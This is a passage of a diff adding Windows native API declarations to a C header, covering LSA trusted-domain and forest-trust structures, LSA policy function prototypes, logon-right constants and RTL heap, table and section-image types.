LSA_UNICODE_STRING FlatName; + PSID Sid; + ULONG TrustDirection; + ULONG TrustType; + ULONG TrustAttributes; + ULONG ForestTrustLength; +#ifdef MIDL_PASS + [size_is( ForestTrustLength )] +#endif + PUCHAR ForestTrustInfo; + +} TRUSTED_DOMAIN_INFORMATION_EX2, *PTRUSTED_DOMAIN_INFORMATION_EX2; + +#define TRUST_AUTH_TYPE_NONE 0 // Ignore this entry +#define TRUST_AUTH_TYPE_NT4OWF 1 // NT4 OWF password +#define TRUST_AUTH_TYPE_CLEAR 2 // Cleartext password +#define TRUST_AUTH_TYPE_VERSION 3 // Cleartext password version number + +typedef struct _LSA_AUTH_INFORMATION { + + LARGE_INTEGER LastUpdateTime; + ULONG AuthType; + ULONG AuthInfoLength; + PUCHAR AuthInfo; +} LSA_AUTH_INFORMATION, *PLSA_AUTH_INFORMATION; + +typedef struct _TRUSTED_DOMAIN_AUTH_INFORMATION { + + ULONG IncomingAuthInfos; + PLSA_AUTH_INFORMATION IncomingAuthenticationInformation; + PLSA_AUTH_INFORMATION IncomingPreviousAuthenticationInformation; + ULONG OutgoingAuthInfos; + PLSA_AUTH_INFORMATION OutgoingAuthenticationInformation; + PLSA_AUTH_INFORMATION OutgoingPreviousAuthenticationInformation; + +} TRUSTED_DOMAIN_AUTH_INFORMATION, *PTRUSTED_DOMAIN_AUTH_INFORMATION; + +typedef struct _TRUSTED_DOMAIN_FULL_INFORMATION { + + TRUSTED_DOMAIN_INFORMATION_EX Information; + TRUSTED_POSIX_OFFSET_INFO PosixOffset; + TRUSTED_DOMAIN_AUTH_INFORMATION AuthInformation; + +} TRUSTED_DOMAIN_FULL_INFORMATION, *PTRUSTED_DOMAIN_FULL_INFORMATION; + +typedef struct _TRUSTED_DOMAIN_FULL_INFORMATION2 { + + TRUSTED_DOMAIN_INFORMATION_EX2 Information; + TRUSTED_POSIX_OFFSET_INFO PosixOffset; + TRUSTED_DOMAIN_AUTH_INFORMATION AuthInformation; + +} TRUSTED_DOMAIN_FULL_INFORMATION2, *PTRUSTED_DOMAIN_FULL_INFORMATION2; + +typedef struct _TRUSTED_DOMAIN_SUPPORTED_ENCRYPTION_TYPES { + + ULONG SupportedEncryptionTypes; + +} TRUSTED_DOMAIN_SUPPORTED_ENCRYPTION_TYPES, *PTRUSTED_DOMAIN_SUPPORTED_ENCRYPTION_TYPES; + +typedef enum { + + ForestTrustTopLevelName, + ForestTrustTopLevelNameEx, + ForestTrustDomainInfo, + ForestTrustRecordTypeLast = ForestTrustDomainInfo + +} LSA_FOREST_TRUST_RECORD_TYPE; + +#if (_WIN32_WINNT < 0x0502) +#define LSA_FOREST_TRUST_RECORD_TYPE_UNRECOGNIZED 0x80000000 +#endif + +// +// Bottom 16 bits of the flags are reserved for disablement reasons +// + +#define LSA_FTRECORD_DISABLED_REASONS ( 0x0000FFFFL ) + +// +// Reasons for a top-level name forest trust record to be disabled +// + +#define LSA_TLN_DISABLED_NEW ( 0x00000001L ) +#define LSA_TLN_DISABLED_ADMIN ( 0x00000002L ) +#define LSA_TLN_DISABLED_CONFLICT ( 0x00000004L ) + +// +// Reasons for a domain information forest trust record to be disabled +// + +#define LSA_SID_DISABLED_ADMIN ( 0x00000001L ) +#define LSA_SID_DISABLED_CONFLICT ( 0x00000002L ) +#define LSA_NB_DISABLED_ADMIN ( 0x00000004L ) +#define LSA_NB_DISABLED_CONFLICT ( 0x00000008L ) + +typedef struct _LSA_FOREST_TRUST_DOMAIN_INFO { + +#ifdef MIDL_PASS + PISID Sid; +#else + PSID Sid; +#endif + LSA_UNICODE_STRING DnsName; + LSA_UNICODE_STRING NetbiosName; + +} LSA_FOREST_TRUST_DOMAIN_INFO, *PLSA_FOREST_TRUST_DOMAIN_INFO; + + +#if (_WIN32_WINNT >= 0x0502) +// +// To prevent huge data to be passed in, we should put a limit on LSA_FOREST_TRUST_BINARY_DATA. +// 128K is large enough that can't be reached in the near future, and small enough not to +// cause memory problems. + +#define MAX_FOREST_TRUST_BINARY_DATA_SIZE ( 128 * 1024 ) +#endif + +typedef struct _LSA_FOREST_TRUST_BINARY_DATA { + +#ifdef MIDL_PASS + [range(0, MAX_FOREST_TRUST_BINARY_DATA_SIZE)] ULONG Length; + [size_is( Length )] PUCHAR Buffer; +#else + ULONG Length; + PUCHAR Buffer; +#endif + +} LSA_FOREST_TRUST_BINARY_DATA, *PLSA_FOREST_TRUST_BINARY_DATA; + +typedef struct _LSA_FOREST_TRUST_RECORD { + + ULONG Flags; + LSA_FOREST_TRUST_RECORD_TYPE ForestTrustType; // type of record + LARGE_INTEGER Time; + +#ifdef MIDL_PASS + [switch_type( LSA_FOREST_TRUST_RECORD_TYPE ), switch_is( ForestTrustType )] +#endif + + union { // actual data + +#ifdef MIDL_PASS + [case( ForestTrustTopLevelName, + ForestTrustTopLevelNameEx )] LSA_UNICODE_STRING TopLevelName; + [case( ForestTrustDomainInfo )] LSA_FOREST_TRUST_DOMAIN_INFO DomainInfo; + [default] LSA_FOREST_TRUST_BINARY_DATA Data; +#else + LSA_UNICODE_STRING TopLevelName; + LSA_FOREST_TRUST_DOMAIN_INFO DomainInfo; + LSA_FOREST_TRUST_BINARY_DATA Data; // used for unrecognized types +#endif + } ForestTrustData; + +} LSA_FOREST_TRUST_RECORD, *PLSA_FOREST_TRUST_RECORD; + +#if (_WIN32_WINNT >= 0x0502) +// +// To prevent forest trust blobs of large size, number of records must be +// smaller than MAX_RECORDS_IN_FOREST_TRUST_INFO +// + +#define MAX_RECORDS_IN_FOREST_TRUST_INFO 4000 +#endif + +typedef struct _LSA_FOREST_TRUST_INFORMATION { + +#ifdef MIDL_PASS + [range(0, MAX_RECORDS_IN_FOREST_TRUST_INFO)] ULONG RecordCount; + [size_is( RecordCount )] PLSA_FOREST_TRUST_RECORD * Entries; +#else + ULONG RecordCount; + PLSA_FOREST_TRUST_RECORD * Entries; +#endif + +} LSA_FOREST_TRUST_INFORMATION, *PLSA_FOREST_TRUST_INFORMATION; + +typedef enum { + + CollisionTdo, + CollisionXref, + CollisionOther + +} LSA_FOREST_TRUST_COLLISION_RECORD_TYPE; + +typedef struct _LSA_FOREST_TRUST_COLLISION_RECORD { + + ULONG Index; + LSA_FOREST_TRUST_COLLISION_RECORD_TYPE Type; + ULONG Flags; + LSA_UNICODE_STRING Name; + +} LSA_FOREST_TRUST_COLLISION_RECORD, *PLSA_FOREST_TRUST_COLLISION_RECORD; + +typedef struct _LSA_FOREST_TRUST_COLLISION_INFORMATION { + + ULONG RecordCount; +#ifdef MIDL_PASS + [size_is( RecordCount )] +#endif + PLSA_FOREST_TRUST_COLLISION_RECORD * Entries; + +} LSA_FOREST_TRUST_COLLISION_INFORMATION, *PLSA_FOREST_TRUST_COLLISION_INFORMATION; + + +// +// LSA Enumeration Context +// + +typedef ULONG LSA_ENUMERATION_HANDLE, *PLSA_ENUMERATION_HANDLE; + +// +// LSA Enumeration Information +// + +typedef struct _LSA_ENUMERATION_INFORMATION { + + PSID Sid; + +} LSA_ENUMERATION_INFORMATION, *PLSA_ENUMERATION_INFORMATION; + + +//////////////////////////////////////////////////////////////////////////// +// // +// Local Security Policy - Miscellaneous API function prototypes // +// // +//////////////////////////////////////////////////////////////////////////// + + +NTSTATUS +NTAPI +LsaFreeMemory( + IN OPTIONAL PVOID Buffer + ); + +NTSTATUS +NTAPI +LsaClose( + IN LSA_HANDLE ObjectHandle + ); + +#if (_WIN32_WINNT >= 0x0600) + +typedef struct _LSA_LAST_INTER_LOGON_INFO { + LARGE_INTEGER LastSuccessfulLogon; + LARGE_INTEGER LastFailedLogon; + ULONG FailedAttemptCountSinceLastSuccessfulLogon; +} LSA_LAST_INTER_LOGON_INFO, *PLSA_LAST_INTER_LOGON_INFO; + +#endif + +#if (_WIN32_WINNT >= 0x0501) +typedef struct _SECURITY_LOGON_SESSION_DATA { + ULONG Size; + LUID LogonId; + LSA_UNICODE_STRING UserName; + LSA_UNICODE_STRING LogonDomain; + LSA_UNICODE_STRING AuthenticationPackage; + ULONG LogonType; + ULONG Session; + PSID Sid; + LARGE_INTEGER LogonTime; + + LSA_UNICODE_STRING LogonServer; + LSA_UNICODE_STRING DnsDomainName; + LSA_UNICODE_STRING Upn; + +#if (_WIN32_WINNT >= 0x0600) + + ULONG UserFlags; + + LSA_LAST_INTER_LOGON_INFO LastLogonInfo; + LSA_UNICODE_STRING LogonScript; + LSA_UNICODE_STRING ProfilePath; + LSA_UNICODE_STRING HomeDirectory; + LSA_UNICODE_STRING HomeDirectoryDrive; + + LARGE_INTEGER LogoffTime; + LARGE_INTEGER KickOffTime; + LARGE_INTEGER PasswordLastSet; + LARGE_INTEGER PasswordCanChange; + LARGE_INTEGER PasswordMustChange; + +#endif +} SECURITY_LOGON_SESSION_DATA, * PSECURITY_LOGON_SESSION_DATA; + +NTSTATUS +NTAPI +LsaEnumerateLogonSessions( + OUT PULONG LogonSessionCount, + OUT PLUID * LogonSessionList + ); + +NTSTATUS +NTAPI +LsaGetLogonSessionData( + IN PLUID LogonId, + OUT PSECURITY_LOGON_SESSION_DATA * ppLogonSessionData + ); + +#endif +NTSTATUS +NTAPI +LsaOpenPolicy( + IN OPTIONAL PLSA_UNICODE_STRING SystemName, + IN PLSA_OBJECT_ATTRIBUTES ObjectAttributes, + IN ACCESS_MASK DesiredAccess, + OUT PLSA_HANDLE PolicyHandle + ); + + +NTSTATUS +NTAPI +LsaQueryInformationPolicy( + IN LSA_HANDLE PolicyHandle, + IN POLICY_INFORMATION_CLASS InformationClass, + OUT PVOID *Buffer + ); + +NTSTATUS +NTAPI +LsaSetInformationPolicy( + IN LSA_HANDLE PolicyHandle, + IN POLICY_INFORMATION_CLASS InformationClass, + IN PVOID Buffer + ); + +NTSTATUS +NTAPI +LsaQueryDomainInformationPolicy( + IN LSA_HANDLE PolicyHandle, + IN POLICY_DOMAIN_INFORMATION_CLASS InformationClass, + OUT PVOID *Buffer + ); + +NTSTATUS +NTAPI +LsaSetDomainInformationPolicy( + IN LSA_HANDLE PolicyHandle, + IN POLICY_DOMAIN_INFORMATION_CLASS InformationClass, + IN OPTIONAL PVOID Buffer + ); + +NTSTATUS +NTAPI +LsaRegisterPolicyChangeNotification( + IN POLICY_NOTIFICATION_INFORMATION_CLASS InformationClass, + IN HANDLE NotificationEventHandle + ); + +NTSTATUS +NTAPI +LsaUnregisterPolicyChangeNotification( + IN POLICY_NOTIFICATION_INFORMATION_CLASS InformationClass, + IN HANDLE NotificationEventHandle + ); + +NTSTATUS +NTAPI +LsaEnumerateTrustedDomains( + IN LSA_HANDLE PolicyHandle, + IN OUT PLSA_ENUMERATION_HANDLE EnumerationContext, + OUT PVOID *Buffer, + IN ULONG PreferedMaximumLength, + OUT PULONG CountReturned + ); + +NTSTATUS +NTAPI +LsaLookupNames( + IN LSA_HANDLE PolicyHandle, + IN ULONG Count, + IN PLSA_UNICODE_STRING Names, + OUT PLSA_REFERENCED_DOMAIN_LIST *ReferencedDomains, + OUT PLSA_TRANSLATED_SID *Sids + ); + +#if (_WIN32_WINNT >= 0x0501) +NTSTATUS +NTAPI +LsaLookupNames2( + IN LSA_HANDLE PolicyHandle, + IN ULONG Flags, // Reserved + IN ULONG Count, + IN PLSA_UNICODE_STRING Names, + OUT PLSA_REFERENCED_DOMAIN_LIST *ReferencedDomains, + OUT PLSA_TRANSLATED_SID2 *Sids + ); +#endif + +NTSTATUS +NTAPI +LsaLookupSids( + IN LSA_HANDLE PolicyHandle, + IN ULONG Count, + IN PSID *Sids, + OUT PLSA_REFERENCED_DOMAIN_LIST *ReferencedDomains, + OUT PLSA_TRANSLATED_NAME *Names + ); + +#define SE_INTERACTIVE_LOGON_NAME TEXT("SeInteractiveLogonRight") +#define SE_NETWORK_LOGON_NAME TEXT("SeNetworkLogonRight") +#define SE_BATCH_LOGON_NAME TEXT("SeBatchLogonRight") +#define SE_SERVICE_LOGON_NAME TEXT("SeServiceLogonRight") +#define SE_DENY_INTERACTIVE_LOGON_NAME TEXT("SeDenyInteractiveLogonRight") +#define SE_DENY_NETWORK_LOGON_NAME TEXT("SeDenyNetworkLogonRight") +#define SE_DENY_BATCH_LOGON_NAME TEXT("SeDenyBatchLogonRight") +#define SE_DENY_SERVICE_LOGON_NAME TEXT("SeDenyServiceLogonRight") +#if (_WIN32_WINNT >= 0x0501) +#define SE_REMOTE_INTERACTIVE_LOGON_NAME TEXT("SeRemoteInteractiveLogonRight") +#define SE_DENY_REMOTE_INTERACTIVE_LOGON_NAME TEXT("SeDenyRemoteInteractiveLogonRight") +#endif + +NTSTATUS +NTAPI +LsaEnumerateAccountsWithUserRight( + IN LSA_HANDLE PolicyHandle, + IN OPTIONAL PLSA_UNICODE_STRING UserRight, + OUT PVOID *Buffer, + OUT PULONG CountReturned + ); + +NTSTATUS +NTAPI +LsaEnumerateAccountRights( + IN LSA_HANDLE PolicyHandle, + IN PSID AccountSid, + OUT PLSA_UNICODE_STRING *UserRights, + OUT PULONG CountOfRights + ); + +NTSTATUS +NTAPI +LsaAddAccountRights( + IN LSA_HANDLE PolicyHandle, + IN PSID AccountSid, + IN PLSA_UNICODE_STRING UserRights, + IN ULONG CountOfRights + ); + +NTSTATUS +NTAPI +LsaRemoveAccountRights( + IN LSA_HANDLE PolicyHandle, + IN PSID AccountSid, + IN BOOLEAN AllRights, + IN LSA_UNICODE_STRING UserRights, + IN ULONG CountOfRights + ); + +/////////////////////////////////////////////////////////////////////////////// +// // +// Local Security Policy - Trusted Domain Object API function prototypes // +// // +/////////////////////////////////////////////////////////////////////////////// + +NTSTATUS +NTAPI +LsaOpenTrustedDomainByName( + IN LSA_HANDLE PolicyHandle, + IN PLSA_UNICODE_STRING TrustedDomainName, + IN ACCESS_MASK DesiredAccess, + OUT PLSA_HANDLE TrustedDomainHandle + ); + +NTSTATUS +NTAPI +LsaQueryTrustedDomainInfo( + IN LSA_HANDLE PolicyHandle, + IN PSID TrustedDomainSid, + IN TRUSTED_INFORMATION_CLASS InformationClass, + OUT PVOID *Buffer + ); + +NTSTATUS +NTAPI +LsaSetTrustedDomainInformation( + IN LSA_HANDLE PolicyHandle, + IN PSID TrustedDomainSid, + IN TRUSTED_INFORMATION_CLASS InformationClass, + IN PVOID Buffer + ); + +NTSTATUS +NTAPI +LsaDeleteTrustedDomain( + IN LSA_HANDLE PolicyHandle, + IN PSID TrustedDomainSid + ); + +NTSTATUS +NTAPI +LsaQueryTrustedDomainInfoByName( + IN LSA_HANDLE PolicyHandle, + IN PLSA_UNICODE_STRING TrustedDomainName, + IN TRUSTED_INFORMATION_CLASS InformationClass, + OUT PVOID *Buffer + ); + +NTSTATUS +NTAPI +LsaSetTrustedDomainInfoByName( + IN LSA_HANDLE PolicyHandle, + IN PLSA_UNICODE_STRING TrustedDomainName, + IN TRUSTED_INFORMATION_CLASS InformationClass, + IN PVOID Buffer + ); + +NTSTATUS +NTAPI +LsaEnumerateTrustedDomainsEx( + IN LSA_HANDLE PolicyHandle, + IN OUT PLSA_ENUMERATION_HANDLE EnumerationContext, + OUT PVOID *Buffer, + IN ULONG PreferedMaximumLength, + OUT PULONG CountReturned + ); + +NTSTATUS +NTAPI +LsaCreateTrustedDomainEx( + IN LSA_HANDLE PolicyHandle, + IN PTRUSTED_DOMAIN_INFORMATION_EX TrustedDomainInformation, + IN PTRUSTED_DOMAIN_AUTH_INFORMATION AuthenticationInformation, + IN ACCESS_MASK DesiredAccess, + OUT PLSA_HANDLE TrustedDomainHandle + ); + +#if (_WIN32_WINNT >= 0x0501) +NTSTATUS +NTAPI +LsaQueryForestTrustInformation( + IN LSA_HANDLE PolicyHandle, + IN PLSA_UNICODE_STRING TrustedDomainName, + OUT PLSA_FOREST_TRUST_INFORMATION * ForestTrustInfo + ); + +NTSTATUS +NTAPI +LsaSetForestTrustInformation( + IN LSA_HANDLE PolicyHandle, + IN PLSA_UNICODE_STRING TrustedDomainName, + IN PLSA_FOREST_TRUST_INFORMATION ForestTrustInfo, + IN BOOLEAN CheckOnly, + OUT PLSA_FOREST_TRUST_COLLISION_INFORMATION * CollisionInfo + ); + +// #define TESTING_MATCHING_ROUTINE +#ifdef TESTING_MATCHING_ROUTINE + +NTSTATUS +NTAPI +LsaForestTrustFindMatch( + IN LSA_HANDLE PolicyHandle, + IN ULONG Type, + IN PLSA_UNICODE_STRING Name, + OUT PLSA_UNICODE_STRING * Match + ); + +#endif +#endif + +// +// This API sets the workstation password (equivalent of setting/getting +// the SSI_SECRET_NAME secret) +// + +NTSTATUS +NTAPI +LsaStorePrivateData( + IN LSA_HANDLE PolicyHandle, + IN PLSA_UNICODE_STRING KeyName, + IN OPTIONAL PLSA_UNICODE_STRING PrivateData + ); + +NTSTATUS +NTAPI +LsaRetrievePrivateData( + IN LSA_HANDLE PolicyHandle, + IN PLSA_UNICODE_STRING KeyName, + OUT PLSA_UNICODE_STRING * PrivateData + ); + + +ULONG +NTAPI +LsaNtStatusToWinError( + IN NTSTATUS Status + ); + +#endif // _NTLSA_IFS_ +// 04.06.2011 - end + +// +// Driver entry management APIs. +// + +typedef struct _EFI_DRIVER_ENTRY { + ULONG Version; + ULONG Length; + ULONG Id; + ULONG FriendlyNameOffset; + ULONG DriverFilePathOffset; + //WCHAR FriendlyName[ANYSIZE_ARRAY]; + //FILE_PATH DriverFilePath; +} EFI_DRIVER_ENTRY, *PEFI_DRIVER_ENTRY; + +typedef struct _EFI_DRIVER_ENTRY_LIST { + ULONG NextEntryOffset; + EFI_DRIVER_ENTRY DriverEntry; +} EFI_DRIVER_ENTRY_LIST, *PEFI_DRIVER_ENTRY_LIST; + +#define EFI_DRIVER_ENTRY_VERSION 1 +#define MAX_STACK_DEPTH 32 + +typedef struct _RTL_STACK_CONTEXT_ENTRY { + ULONG_PTR Address; // stack address + ULONG_PTR Data; // stack contents +} RTL_STACK_CONTEXT_ENTRY, * PRTL_STACK_CONTEXT_ENTRY; + +typedef struct _RTL_STACK_CONTEXT { + ULONG NumberOfEntries; + RTL_STACK_CONTEXT_ENTRY Entry[1]; +} RTL_STACK_CONTEXT, * PRTL_STACK_CONTEXT; + +typedef NTSTATUS + (NTAPI * PRTL_HEAP_COMMIT_ROUTINE)( + IN PVOID Base, + IN OUT PVOID *CommitAddress, + IN OUT PSIZE_T CommitSize + ); + +typedef struct _RTL_HEAP_PARAMETERS +{ + ULONG Length; + SIZE_T SegmentReserve; + SIZE_T SegmentCommit; + SIZE_T DeCommitFreeBlockThreshold; + SIZE_T DeCommitTotalFreeThreshold; + SIZE_T MaximumAllocationSize; + SIZE_T VirtualMemoryThreshold; + SIZE_T InitialCommit; + SIZE_T InitialReserve; + PRTL_HEAP_COMMIT_ROUTINE CommitRoutine; + SIZE_T Reserved[2]; +} RTL_HEAP_PARAMETERS, *PRTL_HEAP_PARAMETERS; + +#define HEAP_SETTABLE_USER_VALUE 0x00000100 +#define HEAP_SETTABLE_USER_FLAG1 0x00000200 +#define HEAP_SETTABLE_USER_FLAG2 0x00000400 +#define HEAP_SETTABLE_USER_FLAG3 0x00000800 +#define HEAP_SETTABLE_USER_FLAGS 0x00000e00 + +#define HEAP_CLASS_0 0x00000000 // Process heap +#define HEAP_CLASS_1 0x00001000 // Private heap +#define HEAP_CLASS_2 0x00002000 // Kernel heap +#define HEAP_CLASS_3 0x00003000 // GDI heap +#define HEAP_CLASS_4 0x00004000 // User heap +#define HEAP_CLASS_5 0x00005000 // Console heap +#define HEAP_CLASS_6 0x00006000 // User desktop heap +#define HEAP_CLASS_7 0x00007000 // CSR shared heap +#define HEAP_CLASS_8 0x00008000 // CSR port heap +#define HEAP_CLASS_MASK 0x0000f000 + +struct _RTL_AVL_TABLE; + +typedef struct _RTL_SPLAY_LINKS { + struct _RTL_SPLAY_LINKS *Parent; + struct _RTL_SPLAY_LINKS *LeftChild; + struct _RTL_SPLAY_LINKS *RightChild; +} RTL_SPLAY_LINKS; +typedef RTL_SPLAY_LINKS *PRTL_SPLAY_LINKS; + +typedef enum _TABLE_SEARCH_RESULT +{ + TableEmptyTree, + TableFoundNode, + TableInsertAsLeft, + TableInsertAsRight +} TABLE_SEARCH_RESULT; + +typedef enum _RTL_GENERIC_COMPARE_RESULTS +{ + GenericLessThan, + GenericGreaterThan, + GenericEqual +} RTL_GENERIC_COMPARE_RESULTS; + +struct _RTL_AVL_TABLE; + +typedef RTL_GENERIC_COMPARE_RESULTS (NTAPI *PRTL_AVL_COMPARE_ROUTINE)( + IN struct _RTL_AVL_TABLE *Table, + IN PVOID FirstStruct, + IN PVOID SecondStruct + ); + +typedef PVOID (NTAPI *PRTL_AVL_ALLOCATE_ROUTINE)( + IN struct _RTL_AVL_TABLE *Table, + IN CLONG ByteSize + ); + +typedef VOID (NTAPI *PRTL_AVL_FREE_ROUTINE)( + IN struct _RTL_AVL_TABLE *Table, + IN PVOID Buffer + ); + +typedef NTSTATUS (NTAPI *PRTL_AVL_MATCH_FUNCTION)( + IN struct _RTL_AVL_TABLE *Table, + IN PVOID UserData, + IN PVOID MatchData + ); + +typedef + RTL_GENERIC_COMPARE_RESULTS + (NTAPI *PRTL_AVL_COMPARE_ROUTINE) ( + struct _RTL_AVL_TABLE *Table, + PVOID FirstStruct, + PVOID SecondStruct + ); + +typedef + PVOID + (NTAPI *PRTL_AVL_ALLOCATE_ROUTINE) ( + struct _RTL_AVL_TABLE *Table, + ULONG ByteSize + ); + + +typedef + NTSTATUS + (NTAPI *PRTL_AVL_MATCH_FUNCTION) ( + struct _RTL_AVL_TABLE *Table, + PVOID UserData, + PVOID MatchData + ); + +typedef + RTL_GENERIC_COMPARE_RESULTS + (NTAPI *PRTL_GENERIC_COMPARE_ROUTINE) ( + struct _RTL_GENERIC_TABLE *Table, + PVOID FirstStruct, + PVOID SecondStruct + ); + +typedef + PVOID + (NTAPI *PRTL_GENERIC_ALLOCATE_ROUTINE) ( + struct _RTL_GENERIC_TABLE *Table, + ULONG ByteSize + ); + +typedef + VOID + (NTAPI *PRTL_GENERIC_FREE_ROUTINE) ( + struct _RTL_GENERIC_TABLE *Table, + PVOID Buffer + ); + +typedef struct _RTL_BALANCED_LINKS +{ + struct _RTL_BALANCED_LINKS *Parent; + struct _RTL_BALANCED_LINKS *LeftChild; + struct _RTL_BALANCED_LINKS *RightChild; + CHAR Balance; + UCHAR Reserved[3]; +} RTL_BALANCED_LINKS, *PRTL_BALANCED_LINKS; + +typedef struct _RTL_AVL_TABLE +{ + RTL_BALANCED_LINKS BalancedRoot; + PVOID OrderedPointer; + ULONG WhichOrderedElement; + ULONG NumberGenericTableElements; + ULONG DepthOfTree; + PRTL_BALANCED_LINKS RestartKey; + ULONG DeleteCount; + PRTL_AVL_COMPARE_ROUTINE CompareRoutine; + PRTL_AVL_ALLOCATE_ROUTINE AllocateRoutine; + PRTL_AVL_FREE_ROUTINE FreeRoutine; + PVOID TableContext; +} RTL_AVL_TABLE, *PRTL_AVL_TABLE; + +typedef struct _RTL_GENERIC_TABLE { + PRTL_SPLAY_LINKS TableRoot; + LIST_ENTRY InsertOrderList; + PLIST_ENTRY OrderedPointer; + ULONG WhichOrderedElement; + ULONG NumberGenericTableElements; + PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine; + PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine; + PRTL_GENERIC_FREE_ROUTINE FreeRoutine; + PVOID TableContext; +} RTL_GENERIC_TABLE; +typedef RTL_GENERIC_TABLE *PRTL_GENERIC_TABLE; + +typedef struct _GENERATE_NAME_CONTEXT { + + USHORT Checksum; + BOOLEAN ChecksumInserted; + + UCHAR NameLength; // not including extension + WCHAR NameBuffer[8]; // e.g., "ntoskrnl" + + ULONG ExtensionLength; // including dot + WCHAR ExtensionBuffer[4]; // e.g., ".exe" + + ULONG LastIndexValue; + +} GENERATE_NAME_CONTEXT; +typedef GENERATE_NAME_CONTEXT *PGENERATE_NAME_CONTEXT; + +typedef struct _PREFIX_TABLE_ENTRY { + CSHORT NodeTypeCode; + CSHORT NameLength; + struct _PREFIX_TABLE_ENTRY *NextPrefixTree; + RTL_SPLAY_LINKS Links; + PSTRING Prefix; +} PREFIX_TABLE_ENTRY; +typedef PREFIX_TABLE_ENTRY *PPREFIX_TABLE_ENTRY; + +typedef struct _PREFIX_TABLE { + CSHORT NodeTypeCode; + CSHORT NameLength; + PPREFIX_TABLE_ENTRY NextPrefixTree; +} PREFIX_TABLE; +typedef PREFIX_TABLE *PPREFIX_TABLE; + +typedef struct _UNICODE_PREFIX_TABLE_ENTRY { + CSHORT NodeTypeCode; + CSHORT NameLength; + struct _UNICODE_PREFIX_TABLE_ENTRY *NextPrefixTree; + struct _UNICODE_PREFIX_TABLE_ENTRY *CaseMatch; + RTL_SPLAY_LINKS Links; + PUNICODE_STRING Prefix; +} UNICODE_PREFIX_TABLE_ENTRY; +typedef UNICODE_PREFIX_TABLE_ENTRY *PUNICODE_PREFIX_TABLE_ENTRY; + +typedef struct _UNICODE_PREFIX_TABLE { + CSHORT NodeTypeCode; + CSHORT NameLength; + PUNICODE_PREFIX_TABLE_ENTRY NextPrefixTree; + PUNICODE_PREFIX_TABLE_ENTRY LastNextEntry; +} UNICODE_PREFIX_TABLE; +typedef UNICODE_PREFIX_TABLE *PUNICODE_PREFIX_TABLE; + +#define COMPRESSION_FORMAT_NONE (0x0000) // winnt +#define COMPRESSION_FORMAT_DEFAULT (0x0001) // winnt +#define COMPRESSION_FORMAT_LZNT1 (0x0002) // winnt + +#define COMPRESSION_ENGINE_STANDARD (0x0000) // winnt +#define COMPRESSION_ENGINE_MAXIMUM (0x0100) // winnt +#define COMPRESSION_ENGINE_HIBER (0x0200) // winnt + +typedef struct _COMPRESSED_DATA_INFO { + + USHORT CompressionFormatAndEngine; + + UCHAR CompressionUnitShift; + UCHAR ChunkShift; + UCHAR ClusterShift; + UCHAR Reserved; + USHORT NumberOfChunks; + ULONG CompressedChunkSizes[ANYSIZE_ARRAY]; + +} COMPRESSED_DATA_INFO; +typedef COMPRESSED_DATA_INFO *PCOMPRESSED_DATA_INFO; + +typedef struct _SECTION_IMAGE_INFORMATION { + PVOID TransferAddress; + ULONG ZeroBits; + UCHAR Alignment[4]; + SIZE_T MaximumStackSize; + SIZE_T CommittedStackSize; + ULONG SubSystemType; + union { + struct { + USHORT SubSystemMinorVersion; + USHORT SubSystemMajorVersion; + }; + ULONG SubSystemVersion; + }; + ULONG GpValue; + USHORT ImageCharacteristics; + USHORT DllCharacteristics; + USHORT Machine; + BOOLEAN ImageContainsCode; + union + { + UCHAR ImageFlags; + struct + { + BOOLEAN ComPlusNativeReady : 1; + BOOLEAN ComPlusILOnly : 1; + BOOLEAN ImageDynamicallyRelocated : 1; + BOOLEAN ImageMappedFlat : 1; + BOOLEAN Reserved : 4; + }; + }; + + ULONG LoaderFlags; + ULONG ImageFileSize; + ULONG CheckSum; +} SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION; + +typedef struct _SECTION_IMAGE_INFORMATION64 { + ULONGLONG TransferAddress; + ULONG ZeroBits; + ULONGLONG MaximumStackSize; + ULONGLONG CommittedStackSize; + ULONG SubSystemType; + union { + struct { + USHORT SubSystemMinorVersion; + USHORT SubSystemMajorVersion; + }; + ULONG SubSystemVersion; + }; + ULONG GpValue; + USHORT ImageCharacteristics; + USHORT DllCharacteristics; + USHORT Machine; + BOOLEAN ImageContainsCode; + BOOLEAN Spare1; + ULONG LoaderFlags; + ULONG ImageFileSize; + ULONG Reserved[ 1 ]; +} SECTION_IMAGE_INFORMATION64, *PSECTION_IMAGE_INFORMATION64; + +typedef struct _RTL_BITMAP { + ULONG SizeOfBitMap; + UCHAR Padding[4]; + PULONG Buffer; +} RTL_BITMAP; +typedef RTL_BITMAP *PRTL_BITMAP; + +#define RTL_USER_PROC_CURDIR_CLOSE 0x00000002 +#define RTL_USER_PROC_CURDIR_INHERIT 0x00000003 + +#define RTL_RANGE_SHARED 0x01 +#define RTL_RANGE_CONFLICT 0x02 + +typedef struct _RTL_RANGE_LIST { + LIST_ENTRY ListHead; + ULONG Flags; // use RANGE_LIST_FLAG_* + ULONG Count; + ULONG Stamp; +} RTL_RANGE_LIST, *PRTL_RANGE_LIST; + +typedef enum { + RtlBsdItemVersionNumber = 0x00, + RtlBsdItemProductType, + RtlBsdItemAabEnabled, + RtlBsdItemAabTimeout, + RtlBsdItemBootGood, + RtlBsdItemBootShutdown, + RtlBsdItemMax +} RTL_BSD_ITEM_TYPE, *PRTL_BSD_ITEM_TYPE; + +typedef struct _RANGE_LIST_ITERATOR { + PLIST_ENTRY RangeListHead; + PLIST_ENTRY MergedHead; + PVOID Current; + ULONG Stamp; +} RTL_RANGE_LIST_ITERATOR, *PRTL_RANGE_LIST_ITERATOR; + +typedef struct _STARTUP_ARGUMENT +{ + //ULONG Unknown[ 3 ]; + UNICODE_STRING Unknown[ 3 ]; + PRTL_USER_PROCESS_PARAMETERS Environment; +} STARTUP_ARGUMENT, *PSTARTUP_ARGUMENT; + +#define RTL_USER_PROC_PARAMS_NORMALIZED 0x00000001 +#define RTL_USER_PROC_PROFILE_USER 0x00000002 +#define RTL_USER_PROC_PROFILE_KERNEL 0x00000004 +#define RTL_USER_PROC_PROFILE_SERVER 0x00000008 +#define RTL_USER_PROC_RESERVE_1MB 0x00000020 +#define RTL_USER_PROC_RESERVE_16MB 0x00000040 +#define RTL_USER_PROC_CASE_SENSITIVE 0x00000080 +#define RTL_USER_PROC_DISABLE_HEAP_DECOMMIT 0x00000100 +#define RTL_USER_PROC_DLL_REDIRECTION_LOCAL 0x00001000 +#define RTL_USER_PROC_APP_MANIFEST_PRESENT 0x00002000 +#define RTL_USER_PROC_IMAGE_KEY_MISSING 0x00004000 +#define 